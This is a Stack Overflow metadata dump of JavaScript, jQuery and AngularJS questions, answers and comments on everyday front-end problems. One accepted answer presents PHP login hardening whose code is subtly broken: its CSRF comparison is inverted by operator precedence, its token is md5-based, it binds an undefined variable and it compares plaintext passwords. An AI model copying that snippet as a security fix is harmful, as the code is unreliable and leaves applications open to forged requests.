answers question: http://stackoverflow.com/q/25810427
score: 0
has body: you will get reversed string like this: output.innerHTML = reverse(string); because var reverse = function (string) { return string.split('').reverse().join(''); }; is just a function declaration, the string is only a parameter of the function, but not equal to var string = input.value;
type: Answer

http://stackoverflow.com/q/25714380
linked to: http://stackoverflow.com/q/3870707
has answer: http://stackoverflow.com/a/25714516
has answer: http://stackoverflow.com/a/25714513
duplicate of: http://stackoverflow.com/q/3870707
type: Question
has comment: http://stackoverflow.com/comment/40197440
has body: I have a input box that when the user type a sentence it will pass it to a empty box(div).I have some of the code where I grab the value, but I can't figured out how to pass that data one by one to the empty box every time they click submit. &lt;input type="text" class="form-control border" id="skills-box"&gt; $( ".btn-add" ).click(function() { value = $("#skills-box").val(); $(value).append( $(".label-primary")); });
score: 2
has comment: http://stackoverflow.com/comment/40197332
downvote count: 0
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40197502
accepted answer: http://stackoverflow.com/a/25714516
answer count: 3
possible better answer: http://stackoverflow.com/a/25714521
has comment: http://stackoverflow.com/comment/40197485
has answer: http://stackoverflow.com/a/25714521
favorite count: 0
upvote count: 2
type: AnsweredQuestion
has title: Pass input value to a empty div
has comment: http://stackoverflow.com/comment/40197326

http://stackoverflow.com/q/25785625
has body: I am trying to implement a filter for AngularJS ng-grid. AngularJS Filter Example Issue Fiddle function app($scope){ $scope.filter = {}; $scope.filter.$ = ''; $scope.filter.name = ''; $scope.filter.phone = ''; $scope.$watch('filter', function(new_value, old_value){ $scope.filtered = JSON.stringify(new_value); }, true); } Problem Watch works for name and phone but not for $. I am not getting the problem, can someone help me out?
has answer: http://stackoverflow.com/a/25787642
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25787642
has title: Watch a scope object contains special characters as key
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40330005
score: 1
has comment: http://stackoverflow.com/comment/40328519
has comment: http://stackoverflow.com/comment/40328635
tagged with: angularjs-scope
type: Question
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40329577
upvote count: 1
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/40248280
score: 0
type: AnswerComment
has text: just use default bootstrap tooltip, like this: http://stackoverflow.com/questions/9446318/bootstrap-tooltips-not-working
type: Comment
comment on: http://stackoverflow.com/a/25741516

http://stackoverflow.com/q/25769072
tagged with: validation
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
tagged with: angularjs
score: 25
has answer: http://stackoverflow.com/a/25769563
upvote count: 25
accepted answer: http://stackoverflow.com/a/25769563
has body: While performing some basic research on custom client-side validation in Angular.js, I was reading the ngModel.NgModelController documentation, and found the following cryptic line: $setValidity(validationErrorKey, isValid); Change the validity state, and notifies the form. This method can be called within $parsers/$formatters. However, if possible, please use the ngModel.$validators pipeline which is designed to call this method automatically. A couple of hours and many Google (and StackOverflow!) searches later, I have found nothing about this ngModel.$validators pipeline anywhere. All custom validation examples use the $parsers/$formatters setup as below: link: function (scope, elem, attr, ctrl) { // Other necessary logic... ctrl.$parsers.push(function () { // Validation logic ctrl.$setValidity('validation-type', true); }); ctrl.$formatters.push(function () { // Validation logic ctrl.$setValidity('validation-type', true); }); }, Question: The Angular documentation states that the above code is not the best practice, and that this mythical ngModel.$validators pipline is the correct way to go. I have failed to find any information on this better practice. How does one use ngModel.$validators to correctly implement this custom clientside validation?
type: AnsweredQuestion
has title: What *is* the ngModel.$validators pipeline?
type: Question
has comment: http://stackoverflow.com/comment/40299354

http://stackoverflow.com/q/25861690
has body: These are the two types of datasets I am trying to load and there are many more as per the dropdown combinations. These are 14 days datasets ( also at an hourly level for 14*24 hours) The 2 types of datasets are : 1 (continuous) 7/8/2014 0:00 9442 7/9/2014 0:00 8492 7/10/2014 0:00 9491 7/11/2014 0:00 9697 7/12/2014 0:00 7377 7/13/2014 0:00 8206 7/14/2014 0:00 9586 7/15/2014 0:00 10855 7/16/2014 0:00 9693 7/17/2014 0:00 11682 7/18/2014 0:00 9668 2 (discontinuous) 7/11/2014 0:00 1 7/16/2014 0:00 1 OR 7/9/2014 0:00 1 7/10/2014 0:00 18 7/11/2014 0:00 2 7/14/2014 0:00 2 7/15/2014 0:00 4 7/16/2014 0:00 1 7/17/2014 0:00 1 7/18/2014 0:00 4 The problem lies in the #2 part of datasets. For eg, in the first example the display is : As we can see, the x-axis is wrong here and the tooltip is correct. This is happening for all type #2 datasets. After reading about this issue, I tried setting ordinal to false, but somehow even that is not helping here. why is this happening? Ordinal should make it work from what I read as far. Code snippet : xAxis: { ordinal : false, type : 'datetime', min : Date.UTC(new Date(processed_json[0][0]).getYear(),new Date(processed_json[0][0]).getMonth(),new Date(processed_json[0][0]).getDate()), max : Date.UTC(new Date(processed_json[processed_json.length - 1][0]).getYear(),new Date(processed_json[processed_json.length - 1][0]).getMonth(),new Date(processed_json[processed_json.length - 1][0]).getDate()) } what are the changes I need to make here to make it work within my code? why is ordinal not working? All approaches/suggestions are most welcome here
has comment: http://stackoverflow.com/comment/40495030
type: UnansweredQuestion
tagged with: ordinal
answer count: 0
has title: Discontinuous dataset in highcharts
type: Question
tagged with: highcharts
tagged with: javascript
has comment: http://stackoverflow.com/comment/40481225
score: 0

http://stackoverflow.com/a/25830145
has comment: http://stackoverflow.com/comment/40410914
type: Answer
has comment: http://stackoverflow.com/comment/40426026
has comment: http://stackoverflow.com/comment/40410382
has comment: http://stackoverflow.com/comment/40427442
answers question: http://stackoverflow.com/q/25829991
score: 0
has body: A few issues with your code: Math.random()*10 will return something that looks like 8.523525235, so you'll have a hard time matching that to any guesses. Instead, use Math.ceil(Math.random()*10). This generates a random number and then rounds up to the nearest integer. In your JavaScript code, you're calling guessNumber() on the last line, which will execute the function as soon as the browser gets to that line. This will mean the function being executed before the user puts in any guesses. Instead you need to attach an event listener to the button, so that when the button is clicked, guessNumber() is called. Something like: document.getElementById('button').addEventListener('click', guessNumber). Right now you're not setting the variable guess in any way. You need to grab the value of the text box and assign that to guess. Something like: guess = document.getElementById('textbox').value Using a while loop is not appropriate here, since the user is using the textbox and the button to submit guesses each time. There are ways of doing this with a while loop, but let's stick with your current setup. You want something that resembles this: HTML: Your guess: JS: var rand = Math.ceil(Math.random()*10); var turns = 0; var guess; document.getElementById('button').addEventListener('click', guess); function guess() { guess = document.getElementById('textbox').value; if (guess == rand) { alert('Correct! It took you ' + turns + ' turns to guess the number!'); } else if (guess < rand) { alert('Your guess is too low. Try again.'); turns++; } else if (guess > rand) { alert('Your guess is too high. Try again.'); turns++; } else { alert('You didn\'t enter a number. Try again.'); } } Here's a fiddle. I added some for the reset functionality.

http://stackoverflow.com/a/25792164
accepted answer of: http://stackoverflow.com/q/25790110
answers question: http://stackoverflow.com/q/25790110
has body: By definition, &lt;input type="url"&gt; represents a control for editing a single absolute URL. An absolute URL contains a protocol part; it is not an omissible “prefix”. Whether a browser has a way of prefixing user input with a default protocol part like http:// is a different issue, and at the discretion of the browser vendor. Some people might consider using a prefilled part as in &lt;input type="url" value="http://"&gt;, but this has several problems. It means setting an initial value that is invalid, which is confusing. It also makes it more difficult to the user to use the natural method of copy and paste. The conclusion is that if you want a URL as input from the user, you should expect them to provide a full absolute URL.
type: Answer
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40344570
score: 0

http://stackoverflow.com/q/25849344
has comment: http://stackoverflow.com/comment/40445098
upvote count: 1
type: AnsweredQuestion
tagged with: asp.net-mvc
tagged with: javascript
tagged with: ckeditor
type: Question
has answer: http://stackoverflow.com/a/25863047
tagged with: asp.net-mvc-5
has comment: http://stackoverflow.com/comment/40465822
answer count: 1
downvote count: 0
score: 1
has title: MVC 5 CKEditor SetData to editor from DB
favorite count: 0
accepted answer: http://stackoverflow.com/a/25863047
has body: Almost got everything working with CKEditor plugin and the only problem left is to load the data already saved to the DB into the WYSIWYG editor. If i try something like this in javascript as a test it works fine. So this creates the editor and actually tries to load the "html" variable into it but this is currently just empty. So if I look in my DB I have a field called Description (nvarchar(max),null) which currently has this value: Awesome But if I try to get this value in Javascript I get an error: Uncaught SyntaxError: Unexpected token ILLEGAL And if i look at the console log it looks like this: var value = ' Awesome Uncaught SyntaxError: Unexpected token ILLEGAL ';
has comment: http://stackoverflow.com/comment/40445192
has comment: http://stackoverflow.com/comment/40445237

http://stackoverflow.com/q/25772069
type: Question
tagged with: javascript
tagged with: printing
has comment: http://stackoverflow.com/comment/40304921
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40303997
answer count: 0
type: UnansweredQuestion
upvote count: 1
has title: Print data attribute of object tag
has comment: http://stackoverflow.com/comment/40303964
has body: I am currently trying to setup a system where I can call the browser's print function to print the data attribute of an object tag. I.e. I have a object tag with a pdf as the content, and I want a way that when I press a button I can print just the pdf. This is what I currently have. Print! Now I keep getting an error, Uncaught TypeError: undefined is not a function when I click my button. What am I doing wrong here and how do I set this up properly?
score: 1

http://stackoverflow.com/q/25766556
answer count: 1
tagged with: javascript
score: 0
tagged with: http://stackoverflow.com/tag/html
type: UnansweredQuestion
tagged with: iframe
tagged with: css
has title: Iframe content loading before css with Firefox
type: Question
has answer: http://stackoverflow.com/a/25766715
has body: I've a problem with an iFrame, which I load content dynamically and compile HTML with JavaScript. All works fine with all browsers, but with Firefox I have a small lag between HTML loading and CSS loading. It display the iFrame content at first (raw HTML), and a few seconds later CSS is displaying. Is it a Firefox issue, or a specific operation of the browser ? And I want to know if there is some solutions to resolve this ? I've found this during my researches, and I think this is nearly the same problem : http://www.phpied.com/when-is-a-stylesheet-really-loaded/ and this : https://support.mozilla.org/fr/questions/970521
tagged with: firefox

http://stackoverflow.com/q/25733124
has comment: http://stackoverflow.com/comment/40235921
has comment: http://stackoverflow.com/comment/40234162
answer count: 0
has comment: http://stackoverflow.com/comment/40233183
type: Question
has comment: http://stackoverflow.com/comment/40233021
has title: moving items up and and down in a sub-sub array in angular
tagged with: arrays
tagged with: javascript
score: 0
tagged with: angularjs
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40233388
has body: I am trying to set up functions to allow the user to move items in a scope up or down by an index. I have no problem doing this if th it is 1 level down in the json i am attaching to the scope, but when it is three levels down my code seems to be acting very odd. Here's what the logic in the controller looks like for the first level down (this works fine) var move = function (origin, destination, parent) { var temp = $scope.dataBlocks.selections[parent].types[destination]; $scope.dataBlocks.selections[parent].types[destination] = $scope.dataBlocks.selections[parent].types[origin]; $scope.dataBlocks.selections[parent].types[origin] = temp; }; $scope.blockMoveUp = function(index, parent) { move(index, index - 1, parent); }; $scope.blockMoveDown = function(index, parent) { move(index, index + 1, parent); }; Where the click function just passes the items own index an parent index with a ng-click="blockMoveUp($index, $parent.$index)" on each button. Again this works great, but I tried to apply this logic to 1 level deeper. it has some blocks inside of it, like a child array within child area type scenario that I also want the user to be able to move around. Here is my attempt: var moveInner = function (origin, destination, parent, granp) { var temp = $scope.dataBlocks.selections[granp].types[parent].blocks[destination]; $scope.dataBlocks.selections[granp].types[parent].blocks[destination] = $scope.dataBlocks.selections[granp].types[parent].blocks[origin]; $scope.dataBlocks.selections[granp].types[parent].blocks[origin] = temp; }; $scope.blockMoveUpSmall = function(index, parent, granp) { moveInner(index, index - 1, parent, granp); }; $scope.blockMoveDownSmall = function(index, parent, granp) { moveInner(index, index + 1, parent, granp); }; each ng repeat stores a var of it's index with ng init so the the outer most ng repeat looks like &lt;div class="subformWrappers" ng-repeat="selection in dataBlocks.selections" ng-init="selectionIndex = $index"&gt; and the next level d…

http://stackoverflow.com/q/25810438
answer count: 5
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25810769
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25810769
has body: I have this part of HTML: &lt;div id="menu"&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="/"&gt;Startseite&lt;/a&gt;&lt;/li&gt; &lt;li class="active"&gt;&lt;a href="/pacmodule/glass"&gt;Brillengl&amp;#228;ser&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="/pacmodule/completeglass"&gt;Komplettbrille&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="/t/Comingsoon"&gt;Sportbrillen&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="/PacCategoryRedirect/0"&gt;Marketing&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="/customer/statistics"&gt;Statistik&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; I want to remove class="active" parameter and set it in li tag where I have href="/pacmodule/completeglass" atribute. First part I successfully done with jquery: $("#menu").find("ul:first").find(".active").removeClass("active"); But I have problems with second part. This select just a tag: $('a[href="/pacmodule/completeglass"]').parent().html(); And this all ul tag: $('a[href="/pacmodule/completeglass"]').parent().parent().html(); How can I set class="active" attribute in li tag where href="/pacmodule/completeglass" Thank you for help.
accepted answer: http://stackoverflow.com/a/25810473
upvote count: 2
type: Question
has answer: http://stackoverflow.com/a/25811073
has answer: http://stackoverflow.com/a/25810473
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
has title: How to get parent element?
has answer: http://stackoverflow.com/a/25810809
has answer: http://stackoverflow.com/a/25810806

http://stackoverflow.com/q/25811889
type: Question
has comment: http://stackoverflow.com/comment/40376884
tagged with: canvas
answer count: 3
tagged with: javascript
tagged with: jquery
tagged with: angularjs
has answer: http://stackoverflow.com/a/25817491
has comment: http://stackoverflow.com/comment/40377611
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25817420
has body: I was brought in to fix a website that was on fire a couple months back. I've got most things under control and I'm down to fixing various wish-list items. One of them involved some angular code that I just can't seem to get to do what I want. On some pages there are videos followed by a short quiz. I need to update the user's scores after each event. So far, this proved to be easy enough for the total score which looked like this: &lt;a id="updateafterscore" href="~/user/leaderboard/" class="fill-div"&gt; {{ profile.currentScore }} &lt;/a&gt; And that got updated with this: document.getElementById('updateafterscore').innerHTML = data.Data.CurrentScore; So far, so good. However other elements on the page have, thus far, proved impossible to update. Here's what's on the page: I added the "id="refreshvideo" myself so I could try to alter the tag. Finally, here's the angular module for simple-circle (I've left out the actual drawing code since it's not really relevant): angular.module('thrive.shared').directive('simpleCircle', function() { return{ replace: true, template: '&lt;canvas width="60" height="60" style="margin: -10px 0 0 -15px;"&gt;&lt;/canvas&gt;', restrict: 'E', scope: { value: '@', color: '@', bgColor: '@', forecolor: '@', radius: '@' }, link: function (scope, elem, attrs) { var multiplyLength = 1; var canvasElem = elem[0]; var inMotion = false; if (scope.value &lt;= 2) { multiplyLength = 5; } scope.$watch('value', function() { drawCircle(canvasElem, scope.color, scope.value * multiplyLength, scope.value, scope.name); }); function drawCircle(canvas, color, calculatedPoints, displayPoints, name) { So, to the question: how the heck do I update the number that's displayed? I tried various things: document.getElementById('refreshvideo').setAttribute('value', data.Data.VideoWatchedCount); document.getElementById('refreshvideo').setAttribute('data-value', data.Data.VideoWatchedCount); $scope.profile.videosWatched = data.Data.VideoWatchedCount; None of these thin…
has title: How to refresh an angular tag
score: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25814377

http://stackoverflow.com/comment/40198494
score: 0
comment on: http://stackoverflow.com/q/25713680
type: Comment
type: QuestionComment
has text: I don’t see you trying to add a class anywhere in the code shown.

http://stackoverflow.com/a/25748737
has comment: http://stackoverflow.com/comment/40263000
has comment: http://stackoverflow.com/comment/40261560
type: Answer
has comment: http://stackoverflow.com/comment/40261427
has comment: http://stackoverflow.com/comment/40261397
answers question: http://stackoverflow.com/q/25748673
upvote count: 1
has body: $('iframe').each(function(){ $(this).width(250); }); Docs: http://api.jquery.com/each/ and http://api.jquery.com/width/#width-value
score: 1
downvote count: 0

http://stackoverflow.com/comment/40470102
type: QuestionComment
has text: @mizanurahma Thanks, I tried that still nothing changed in mobile device.
comment on: http://stackoverflow.com/q/25862635
score: 0
type: Comment

http://stackoverflow.com/a/25901832
answers question: http://stackoverflow.com/q/25803667
type: Answer
has body: i don't know if i understood your question right but if you mean that all the modals contain the same content try this solution it worked for me 1- the ids for each modal should be different example &lt;div class="modal fade" id="myModal-'different-id'"&gt; ... &lt;/div&gt; 2- this also should be reflected on the data-target within your that triggers the modal data-target="#myModal-'different-id'" 3- i also suggest triggering the modal using this jquery function * $(function () { $("[data-toggle='modal']").modal();}); if the modal is active without triggering use this function instead $(function () { $("[data-toggle='modal']").modal("hide");});
score: 0

http://stackoverflow.com/a/25754826
answers question: http://stackoverflow.com/q/25754281
upvote count: 3
has comment: http://stackoverflow.com/comment/40273686
score: 3
has body: Adding to the other answer, Set is part of the ECMAScript 6 collections API that is not enabled by default in Chrome. You can enable it by checking the "Enable Experimental JavaScript" box in the Chrome chrome://flags page, though you're probably better off just not using Set yet since very few people will have this enabled. It will be more widespread in browsers in a year or two, most likely. See also https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25754281
type: Answer

http://stackoverflow.com/q/25727306
has answer: http://stackoverflow.com/a/66606898
possible better answer: http://stackoverflow.com/a/30554385
has answer: http://stackoverflow.com/a/58224181
has answer: http://stackoverflow.com/a/30554385
has answer: http://stackoverflow.com/a/51308090
has answer: http://stackoverflow.com/a/25727411
has answer: http://stackoverflow.com/a/36666732
has answer: http://stackoverflow.com/a/49804707
has answer: http://stackoverflow.com/a/41204138
has answer: http://stackoverflow.com/a/38868127
has answer: http://stackoverflow.com/a/40487945
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/40203819
upvote count: 286
has answer: http://stackoverflow.com/a/75878056
has title: Request header field Access-Control-Allow-Headers is not allowed by Access-Control-Allow-Headers
has answer: http://stackoverflow.com/a/60688648
has answer: http://stackoverflow.com/a/25727346
tagged with: post
type: Question
tagged with: cors
has answer: http://stackoverflow.com/a/33907828
tagged with: header
tagged with: javascript
answer count: 17
has answer: http://stackoverflow.com/a/64197798
favorite count: 0
score: 283
accepted answer: http://stackoverflow.com/a/25727411
tagged with: angularjs
downvote count: 3
has comment: http://stackoverflow.com/comment/104087676
has body: I'm trying to send files to my server with a post request, but when it sends it causes the error: Request header field Content-Type is not allowed by Access-Control-Allow-Headers. So I googled the error and added the headers: $http.post($rootScope.URL, {params: arguments}, {headers: { "Access-Control-Allow-Origin" : "*", "Access-Control-Allow-Methods" : "GET,POST,PUT,DELETE,OPTIONS", "Access-Control-Allow-Headers": "Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With" } Then I get the error: Request header field Access-Control-Allow-Origin is not allowed by Access-Control-Allow-Headers So I googled that and the only similar question I could find was provided a half answer then closed as off topic. What headers am I supposed to add/remove?
has answer: http://stackoverflow.com/a/28677236

http://stackoverflow.com/comment/40284948
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25758092
has text: yes for that i will do the post request validation weather it coming form which url

http://stackoverflow.com/comment/40395964
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25820927
has text: Thank BigBababook, i was looking into that also yet I need the ability to use the text as a masking path so the foreinObject won't do for me. Nevertheless thanks again for commenting.

http://stackoverflow.com/comment/40387849
comment on: http://stackoverflow.com/q/25817389
score: 0
type: Comment
type: QuestionComment
has text: Error thrown is - Uncaught SyntaxError: Unexpected end of input. When you say inventory of scripts, I'm assuming you meant the links within my . I'll update my original post with that info but if you were looking for something else, let me know.

http://stackoverflow.com/comment/40292940
comment on: http://stackoverflow.com/a/25765503
score: 0
type: AnswerComment
has text: @rickert I'll update my answer and jsfiddle to suit your needs :)
type: Comment

http://stackoverflow.com/comment/40286057
has text: Maybe I am miss-reading your question but, if jQuery is not being properly managed/namespaced in test, wouldn't you be concerned there would be global pollution in production as well?
comment on: http://stackoverflow.com/q/25761448
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40270548
has text: Thanks for clarifying, having 0 experience on SAP i was assuming SAP delivered to browsers, not only to their own client so i thought this was a piece of code that needs to be parsed by a webserver.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25753227
type: AnswerComment

http://stackoverflow.com/comment/40400389
type: Comment
has text: This does not provide an answer to the question. To critique or request clarification from an author, leave a comment below their post - you can always comment on your own posts, and once you have sufficient [reputation](http://stackoverflow.com/help/whats-reputation) you will be able to [comment on any post](http://stackoverflow.com/help/privileges/comment).
type: AnswerComment
comment on: http://stackoverflow.com/a/25824400
score: 0

ajax
tags question: http://stackoverflow.com/q/25819185
tags question: http://stackoverflow.com/q/25733292
tags question: http://stackoverflow.com/q/25818171
tags question: http://stackoverflow.com/q/25867251
tags question: http://stackoverflow.com/q/25756226
tags question: http://stackoverflow.com/q/25786368
tags question: http://stackoverflow.com/q/25786648
tags question: http://stackoverflow.com/q/25764674
tags question: http://stackoverflow.com/q/25871158
tags question: http://stackoverflow.com/q/25728467
tags question: http://stackoverflow.com/q/25810559
tags question: http://stackoverflow.com/q/25838853
tags question: http://stackoverflow.com/q/25743994
tags question: http://stackoverflow.com/q/25855758
tags question: http://stackoverflow.com/q/25753564
tags question: http://stackoverflow.com/q/25798115
tags question: http://stackoverflow.com/q/25847875
tags question: http://stackoverflow.com/q/25765925
tags question: http://stackoverflow.com/q/25750924
tags question: http://stackoverflow.com/q/25851267
tags question: http://stackoverflow.com/q/25833688
tags question: http://stackoverflow.com/q/25777403
tags question: http://stackoverflow.com/q/25715211
tags question: http://stackoverflow.com/q/25752349
tags question: http://stackoverflow.com/q/25798949
tags question: http://stackoverflow.com/q/25799375
tags question: http://stackoverflow.com/q/25850203
tags question: http://stackoverflow.com/q/25758526
tags question: http://stackoverflow.com/q/25752125
tags question: http://stackoverflow.com/q/25799929
tags question: http://stackoverflow.com/q/25713072
tags question: http://stackoverflow.com/q/25867906
tags question: http://stackoverflow.com/q/25833437
tags question: http://stackoverflow.com/q/25744436
tags question: http://stackoverflow.com/q/25737172
tags question: http://stackoverflow.com/q/25723688
tags question: http://stackoverflow.com/q/25818003
tags question: http://stackoverflow.com/q/25820995
tags question: http://stackoverflow.com/q/25868568
tags question: http://stackoverflow.com/q/25809345
tags question: http://stackoverflow.com/q/25839237
tags question: http://stackoverflow.com/q/25758092
tags question: http://stackoverflow.com/q/25865532
tags question: http://stackoverflow.com/q/25791431
tags question: http://stackoverflow.com/q/25736679
tags question: http://stackoverflow.com/q/25748136
tags question: http://stackoverflow.com/q/25819736
tags question: http://stackoverflow.com/q/25769857
tags question: http://stackoverflow.com/q/25796721
tags question: http://stackoverflow.com/q/25731500
tags question: http://stackoverflow.com/q/25833256
tags question: http://stackoverflow.com/q/25756118
type: Tag
tags question: http://stackoverflow.com/q/25724331
tags question: http://stackoverflow.com/q/25842920
tags question: http://stackoverflow.com/q/25806107
tags question: http://stackoverflow.com/q/25803005
tags question: http://stackoverflow.com/q/25783835
tags question: http://stackoverflow.com/q/25760467
tags question: http://stackoverflow.com/q/25719087
tags question: http://stackoverflow.com/q/25851649
tags question: http://stackoverflow.com/q/25841536
tags question: http://stackoverflow.com/q/25715423
tags question: http://stackoverflow.com/q/25761699
tags question: http://stackoverflow.com/q/25748848
tags question: http://stackoverflow.com/q/25855893
tags question: http://stackoverflow.com/q/25814906
tags question: http://stackoverflow.com/q/25858760
tags question: http://stackoverflow.com/q/25837604
tags question: http://stackoverflow.com/q/25790624
tags question: http://stackoverflow.com/q/25821969
tags question: http://stackoverflow.com/q/25740805
tags question: http://stackoverflow.com/q/25834694
tags question: http://stackoverflow.com/q/25811995
tags question: http://stackoverflow.com/q/25867344
tags question: http://stackoverflow.com/q/25774008
tags question: http://stackoverflow.com/q/25867996
tags question: http://stackoverflow.com/q/25738832
tags question: http://stackoverflow.com/q/25840368
tags question: http://stackoverflow.com/q/25734986

http://stackoverflow.com/q/25832523
has comment: http://stackoverflow.com/comment/40414480
score: -1
has answer: http://stackoverflow.com/a/25832558
has body: My first image in DB, I'm using base64_decoding to display image. My code : $(function(){ $(".image").hover(function(){ var src = $(this).attr("src"); $(this).attr("src", "images/add_image.png"); },function(){ $(this).attr("src", src); }); }); First hover, I created a variable to not losing first image src. But it doesnt work. Thanks for helping...
upvote count: 0
answer count: 1
has title: JQuery Image Hover before/after
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40414481
tagged with: css
accepted answer: http://stackoverflow.com/a/25832558
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40414456
downvote count: 1
type: Question

http://stackoverflow.com/a/25728873
has comment: http://stackoverflow.com/comment/40227322
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/51333535
has comment: http://stackoverflow.com/comment/40231753
accepted answer of: http://stackoverflow.com/q/25728437
type: Answer
answers question: http://stackoverflow.com/q/25728437
has body: This really belongs on codereview.stackexchange.com, but I'll give it a shot anyway. Firstly, I'd add a csrf token to your form to stop those types of attacks. //the most simple type of csrf token if (!isset($_SESSION['token'])): $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; else: $token = $_SESSION['token']; endif; Then in your form, include a hidden input field: &lt;input type="hidden" name="token" id="token" value="&lt;?php echo $token; ?&gt;"/&gt; Then in your ajax, add the token. var usrnm = $('#usrnm').val(); var pswdlogin = $('#pswdlogin').val(); var token = $('#token').val(); { usrnm: usrnm, pswdlogin: pswdlogin, token: token } Then in your php, let's stop the undefined index errors on access of that page directly. $usrnm_original = isset($_POST['usrnm'])?$_POST['usrnm']:false; $pswdlogin_original = isset($_POST['pswdlogin'])?$_POST['pswdlogin']:false; $token = isset($_POST['token'])$_POST['token']:false; Then we need to check if the token that was passed is the same as our token if(!$_SESSION['token'] == $token): die('CSRF Attacks are not allowed.'); endif; Then we need to stop using mysqli_query when accepting user data, even if sanitizing with mysqli_real_escape_string and instead use prepared statements. Also, procedural style code makes me cry, so we'll be changing that. Furthermore, let's return an array with a status and a message, so it's easier to handle the error and success reporting. $ret = array(); $mysqli = new mysqli("localhost", "cSDEqLj", "4GFU7vT", "dbname"); if($sql = $mysqli-&gt;prepare('SELECT * FROM registration WHERE email = ? and password = ?')): $sql-&gt;bind_param('ss', $usrnm_original, $pswd_original); if($sql-&gt;execute()): $sql-&gt;fetch(); if($sql-&gt;num_rows &gt; 0): $ret['status'] = true; $ret['msg'] = 'You have successfully logged in! Redirecting you now'; else: $ret['status'] = false; $ret['msg'] = 'The credentials supplied were incorrect. Please try again'; endif; endif; $sql-&gt;close(); return json_en…
upvote count: 12
score: 12
has comment: http://stackoverflow.com/comment/51330052
has comment: http://stackoverflow.com/comment/40227843

http://stackoverflow.com/comment/40213010
has text: Sure, see [docs](http://api.highcharts.com/highcharts#plotOptions.bubble.maxSize).
type: Comment
comment on: http://stackoverflow.com/a/25722207
score: 0
type: AnswerComment

http://stackoverflow.com/q/25734807
has comment: http://stackoverflow.com/comment/40236094
has answer: http://stackoverflow.com/a/25735187
favorite count: 0
has comment: http://stackoverflow.com/comment/40236113
has comment: http://stackoverflow.com/comment/40236043
has title: How to hide text present inside search box?
score: -2
has comment: http://stackoverflow.com/comment/40236192
has body: I have set a bookmark which has -adult word to search query, so that inappropriate results won't show up. Now, how do I hide -adult present in the search box? Example: My idea so far: To use CSS to hide it then make another textbox to be seen, then add a few event handlers to sync the real search box with my fake search box. comments by @wOxxOm that's tricky to implement I suppose since google uses ajax and events, but probably it'll be possible to set a document mutation observer which will hide the stuff in the search box before it's shown If the above method is not possible, then please suggest alternative for solving this problem.
tagged with: css
has comment: http://stackoverflow.com/comment/40236602
has comment: http://stackoverflow.com/comment/40236217
tagged with: tampermonkey
has comment: http://stackoverflow.com/comment/40236737
downvote count: 2
accepted answer: http://stackoverflow.com/a/25735187
has comment: http://stackoverflow.com/comment/40236318
possible better answer: http://stackoverflow.com/a/25735455
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25735455
has comment: http://stackoverflow.com/comment/40236614
has comment: http://stackoverflow.com/comment/40236261
has comment: http://stackoverflow.com/comment/40236163
type: Question
answer count: 2
upvote count: 0
tagged with: javascript

http://stackoverflow.com/a/25838464
type: Answer
downvote count: 0
has body: For deployment on many LMS systems the way they set up the specification is a mix of both the SCORM 2004 Sequence and Navigation within the imsmanifest.xml. This is apart of the packaging (Content Aggregation Model) spec. And secondly utilizing the new runtime capabilities via 'adl.nav.x'. I've personally found this portion of the spec tricky because you are requesting (within the SCO) and all the SCO's in your organization need to be aware of each other. Meaning your CAM has identifiers for all the Activities and or resources and your SCO's would need to know they were requesting to move to content by those ID's. This is called a "choice" navigation request where you pass the target of what you want to go to: Continue or Previous: if (wrapper.GetValue("adl.nav.request_valid.continue") === 'true') { wrapper.SetValue("adl.nav.request", "continue"); } else { // not supported (fail over) } Skip, Jump or Choose as they've referred to it in the docs: if (wrapper.GetValue("adl.nav.request_valid.choice.{target=PAGE-D}") === 'true') { wrapper.SetValue("adl.nav.request", "{target=PAGE-D}choice"); } else { // not supported (fail over) } Further more, within the Sequence and Navigation you have options to control the flow - whether the student can navigate freely, only go forward among other options. You could technically pass in the CAM identifiers via launch data or parameters into each SCO so you'd know what was available. You may be able to control some of your required behavior directly with Simple Sequencing rules having pre/post criteria for skipping, exiting, restarting etc ... This allows you to set up performance rules about how the students move through your lesson. For all that I'd highly recommend reading up on the SCORM SeqNav PDF via ADL or checkout 3rd Edition if 4th isn't adopted by the LMS your on (patched in 2009). You may have more detail about IMS Simple Sequencing directly from IMS Global. There was what appears to be a bit of a feud between ADL and IMS o…
score: 1
has comment: http://stackoverflow.com/comment/40479216
has comment: http://stackoverflow.com/comment/40508900
accepted answer of: http://stackoverflow.com/q/25831980
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40525815
